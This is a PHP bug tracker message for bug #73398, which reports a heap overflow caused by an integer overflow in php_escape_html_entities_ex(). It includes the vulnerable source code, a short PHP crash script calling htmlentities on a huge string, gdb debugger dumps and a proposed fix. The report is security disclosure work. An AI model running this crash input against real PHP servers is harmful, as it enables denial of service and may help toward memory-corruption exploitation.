Sec Bug->Bug #73398 [Csd]: Heap overflow due to integer overflow in php_escape_html_entities_ex() function

From: Date: Mon, 13 Feb 2017 01:00:11 +0000
Subject: Sec Bug->Bug #73398 [Csd]: Heap overflow due to integer overflow in php_escape_html_entities_ex() function
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-207311@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=73398&edit=1 ID: 73398 Updated by: stas@php.net Reported by: bughunter at fosec dot vn Summary: Heap overflow due to integer overflow in php_escape_html_entities_ex() function Status: Closed -Type: Security +Type: Bug Package: *General Issues Operating System: Linux PHP Version: 7.1Git-2016-10-27 (Git) Assigned To: stas Block user comment: N Private report: N Previous Comments: ------------------------------------------------------------------------ [2016-11-18 04:10:57] bughunter at fosec dot vn I have tested the test script with the newest php version today (commit b2b63ce993f71ccb66e0cbac5715c3186a853f8c) and php still crashes. Please recheck this issue and re-test the script which I provided. ------------------------------------------------------------------------ [2016-11-05 21:48:41] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. ------------------------------------------------------------------------ [2016-10-27 03:55:06] bughunter at fosec dot vn Description: ------------ I have found some vulnerable code at php_escape_html_entities_ex() function. php_escape_html_entities_ex() function creates a new zend_string object to store html data. The size of destination string depends on the size of source string. ( reffer at ext/standard/html.c:1272 ) PHPAPI zend_string *php_escape_html_entities_ex(unsigned char *old, size_t oldlen, int all, int flags, char *hint_charset, zend_bool double_encode) { ... /* initial estimate */ if (oldlen < 64) { maxlen = 128; } else { maxlen = 2 * oldlen; if (maxlen < oldlen) { zend_throw_error(NULL, "Input string is too long"); return NULL; } } replaced = zend_string_alloc(maxlen, 0); ... } If oldlen is equal to PHP_INT_MAX, maxlen will be an unexpected value and zend_string_alloc() function will allocate a small memory range. Due to missing check of size before calling zend_string_alloc(), this new memory range can not use to store large html data and lead to heap overflow. I can overwrite other objects of PHP in memory. I can leak memory to bypass ASLR + DEP and control eip register to the arbitrary value. Finally, the overflow results as arbitrary code execution. This bug is only triggered in 32bit machine. Solution: It should be zend_string_alloc_safe instead of zend_string_alloc. Test script: --------------- <?php ini_set('memory_limit', -1); $s = str_repeat("A", PHP_INT_MAX); htmlentities($s, 0, "", true); ?> Actual result: -------------- Open php program in gdb and run test script, set a breakpoint at line in file ext/standard/html.c:1269. When debugger stops, we have oldlen=0x7fffffff. Because oldlen is bigger than 0x64, maxlen is equal to twice oldlen. maxlen is equal to 0xfffffffe. [----------------------------------registers-----------------------------------] EAX: 0xfffffffe EBX: 0x1 ECX: 0x10 EDX: 0x5 ESI: 0xb7814100 --> 0x2 EDI: 0xfffffffe EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0 ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...) EIP: 0x826e37a (<php_escape_html_entities_ex+442>: call 0x82fc010 <_emalloc>) EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x826e371 <php_escape_html_entities_ex+433>: mov edi,DWORD PTR [ebp-0x34] 0x826e374 <php_escape_html_entities_ex+436>: lea ecx,[edi+0x14] 0x826e377 <php_escape_html_entities_ex+439>: and ecx,0xfffffffc => 0x826e37a <php_escape_html_entities_ex+442>: call 0x82fc010 <_emalloc> 0x826e37f <php_escape_html_entities_ex+447>: mov esi,eax 0x826e381 <php_escape_html_entities_ex+449>: mov DWORD PTR [eax],0x1 0x826e387 <php_escape_html_entities_ex+455>: mov DWORD PTR [eax+0x4],0x6 0x826e38e <php_escape_html_entities_ex+462>: mov DWORD PTR [eax+0x8],0x0 [------------------------------------stack-------------------------------------] 0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...) 0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>: pop ebx) 0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>: add ecx,0xc7809) 0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>: mov eax,esi) 0016| 0xbfffbef0 --> 0x37400000 --> 0x2 0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...) 0024| 0xbfffbef8 --> 0xe 0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0826e37a 122 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); gdb-peda$ The size which is used as parameter in _emalloc() function is equal to ((oldlen * 2 + 0x14 ) & 0xfffffffc). Due to integer overflow, if oldlen is equal to 0x7fffffff, this size is 0x10. The new memory region is too small to store a large string! if we continue running, other memory region will be overwritten until SIGSEGV! [----------------------------------registers-----------------------------------] EAX: 0x41 ('A') EBX: 0x199fa0 ECX: 0x37599fb0 ('A' <repeats 200 times>...) EDX: 0x3 ESI: 0x199fa1 EDI: 0xb7866050 --> 0x1 EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0 ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...) EIP: 0x826eaf1 (<php_escape_html_entities_ex+2353>: mov BYTE PTR [edi+ebx*1+0x10],al) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x826eae8 <php_escape_html_entities_ex+2344>: mov ebx,DWORD PTR [ebp-0x38] 0x826eaeb <php_escape_html_entities_ex+2347>: movzx eax,BYTE PTR [ecx] 0x826eaee <php_escape_html_entities_ex+2350>: mov esi,DWORD PTR [ebp-0x30] => 0x826eaf1 <php_escape_html_entities_ex+2353>: mov BYTE PTR [edi+ebx*1+0x10],al 0x826eaf5 <php_escape_html_entities_ex+2357>: lea eax,[ebx+0x1] 0x826eaf8 <php_escape_html_entities_ex+2360>: mov DWORD PTR [ebp-0x38],eax 0x826eafb <php_escape_html_entities_ex+2363>: jmp 0x826e810 <php_escape_html_entities_ex+1616> 0x826eb00 <php_escape_html_entities_ex+2368>: test BYTE PTR [ebp+0x14],0x2 [------------------------------------stack-------------------------------------] 0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...) 0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>: pop ebx) 0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>: add ecx,0xc7809) 0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>: mov eax,esi) 0016| 0xbfffbef0 --> 0x37400000 --> 0x2 0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...) 0024| 0xbfffbef8 --> 0xe 0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0826eaf1 in php_escape_html_entities_ex (old=0x37400010 'A' <repeats 200 times>..., oldlen=0x7fffffff, all=<optimized out>, all@entry=0x1, flags=0x0, hint_charset=0x88cce38 "", double_encode=double_encode@entry=0x1) at /root/fuzzer/PHP-7.1/ext/standard/html.c:1378 1378 ZSTR_VAL(replaced)[len++] = mbsequence[0]; gdb-peda$ ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=73398&edit=1

« previous php.bugs (#207311) next »